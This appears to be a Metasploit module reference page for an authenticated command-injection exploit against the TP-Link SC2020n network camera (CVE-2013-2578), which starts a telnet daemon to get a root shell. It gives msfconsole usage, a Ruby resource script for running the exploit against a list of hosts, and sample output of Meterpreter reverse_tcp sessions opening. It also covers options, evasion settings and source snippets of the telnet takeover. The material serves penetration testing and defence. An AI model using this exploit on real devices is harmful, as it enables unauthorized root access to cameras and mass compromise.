TP-Link SC2020n Authenticated Telnet Injection - Metasploit
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Module Overview
Name: TP-Link SC2020n Authenticated Telnet Injection
Module: exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
Source code: modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb
Disclosure date: 2015-12-20
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https, telnet
Target network port(s): 23, 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2578
The TP-Link SC2020n Network Video Camera is vulnerable to OS Command Injection via the web interface. By firing up the telnet daemon, it is possible to gain root on the device. The vulnerability exists at /cgi-bin/admin/servetest, which is accessible with credentials.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using tp_link_sc2020n_authenticated_telnet_injection against a single host
Normally, you can use exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection this way:
msf > use exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
msf exploit(tp_link_sc2020n_authenticated_telnet_injection) > show targets
... a list of targets ...
msf exploit(tp_link_sc2020n_authenticated_telnet_injection) > set TARGET target-id
msf exploit(tp_link_sc2020n_authenticated_telnet_injection) > show options
... show and set options ...
msf exploit(tp_link_sc2020n_authenticated_telnet_injection) > exploit
Using tp_link_sc2020n_authenticated_telnet_injection against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tp_link_sc2020n_authenticated_telnet_injection will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/tp_link_sc2020n_authenticated_telnet_injection exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show info
Name: TP-Link SC2020n Authenticated Telnet Injection
Module: exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-12-20
Provided by:
Nicholas Starke <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes Password to login with
HttpUsername admin yes User to login with
PASSWORD no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host
Payload information:
Description:
The TP-Link SC2020n Network Video Camera is vulnerable to OS Command
Injection via the web interface. By firing up the telnet daemon, it
is possible to gain root on the device. The vulnerability exists at
/cgi-bin/admin/servetest, which is accessible with credentials.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-2578
Module Options
This is a complete list of options available in the linux/http/tp_link_sc2020n_authenticated_telnet_injection exploit:
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show options
Module options (exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes Password to login with
HttpUsername admin yes User to login with
PASSWORD no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/tp_link_sc2020n_authenticated_telnet_injection exploit:
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show advanced
Module advanced options (exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
TelnetBannerTimeout 25 yes The number of seconds to wait for the initial banner
TelnetTimeout 10 yes The number of seconds to wait for a reply from a Telnet Command
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/tp_link_sc2020n_authenticated_telnet_injection module can exploit:
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/tp_link_sc2020n_authenticated_telnet_injection exploit:
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/tp_link_sc2020n_authenticated_telnet_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not connect to web service - no response
Here is a relevant code snippet related to the "Could not connect to web service - no response" error message:
89: 'method' => 'GET',
90: 'authorization' => basic_auth(user, pass)
91: })
92:
93: if res.nil?
94: fail_with(Failure::Unknown, "Could not connect to web service - no response")
95: end
96:
97: if (res.code != 200)
98: fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}")
99: else
Could not connect to web service - invalid credentials (response code: <RES.CODE>
Here is a relevant code snippet related to the "Could not connect to web service - invalid credentials (response code: <RES.CODE>" error message:
93: if res.nil?
94: fail_with(Failure::Unknown, "Could not connect to web service - no response")
95: end
96:
97: if (res.code != 200)
98: fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}")
99: else
100: print_good("Successful login #{user} : #{pass}")
101: store_valid_credential(user: user, private: pass) # service_name becomes http || https, a conflicting service_details could occur in future. Telnet lib does not yet provide service_details.
102: end
103: rescue ::Rex::ConnectionError
Could not connect to the web service
Here is a relevant code snippet related to the "Could not connect to the web service" error message:
99: else
100: print_good("Successful login #{user} : #{pass}")
101: store_valid_credential(user: user, private: pass) # service_name becomes http || https, a conflicting service_details could occur in future. Telnet lib does not yet provide service_details.
102: end
103: rescue ::Rex::ConnectionError
104: fail_with(Failure::Unknown, "Could not connect to the web service")
105: end
106: end
107:
108: def exploit_telnet
109: telnet_port = rand(32767) + 32768
Backdoor service unreachable
Here is a relevant code snippet related to the "Backdoor service unreachable" error message:
118: ctx = { 'Msf' => framework, 'MsfExploit' => self }
119: sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
120:
121: begin
122: if sock.nil?
123: fail_with(Failure::Unreachable, "Backdoor service unreachable")
124: end
125:
126: add_socket(sock)
127:
128: print_status("Trying to establish a telnet session...")
Unable to establish a telnet session
Here is a relevant code snippet related to the "Unable to establish a telnet session" error message:
128: print_status("Trying to establish a telnet session...")
129: prompt = negotiate_telnet(sock)
130:
131: if prompt.nil?
132: sock.close
133: fail_with(Failure::Unknown, "Unable to establish a telnet session")
134: else
135: print_good("Telnet session successfully established")
136: end
137:
138: handler(sock)
Could not connect to the web service
Here is a relevant code snippet related to the "Could not connect to the web service" error message:
160: 'TargetName' => 'testfile'
161: }
162: })
163: return res
164: rescue ::Rex::ConnectionError
165: fail_with(Failure::Unreachable, "Could not connect to the web service")
166: end
167: end
168:
169: def negotiate_telnet(sock)
170: begin
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #9937 Merged Pull Request: enable autofilter on tp-link camera exploit
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8489 Merged Pull Request: more httpClient modules use store_valid_credential
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8169 Merged Pull Request: Add missing ranks
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6859 Merged Pull Request: Adding TP-Link sc2020n Module
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/tp_link_ncxxx_bonjour_command_injection
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- auxiliary/scanner/telnet/satel_cmd_exec
- auxiliary/scanner/telnet/telnet_encrypt_overflow
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/telnet/telnet_ruggedcom
- auxiliary/scanner/telnet/telnet_version
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/linux/telnet/netgear_telnetenable
- exploit/linux/telnet/telnet_encrypt_keyid
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- exploit/windows/telnet/gamsoft_telsrv_username
- exploit/windows/telnet/goodtech_telnet
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/nagios_xi_mibs_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
- exploit/multi/http/qdpm_authenticated_rce
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/windows/http/nscp_authenticated_rce
- exploit/windows/http/prtg_authenticated_rce
- exploit/freebsd/ftp/proftp_telnet_iac
- exploit/linux/ftp/proftp_telnet_iac
- exploit/linux/http/dlink_dir300_exec_telnet
- exploit/windows/proxy/ccproxy_telnet_ping
Authors
- Nicholas Starke <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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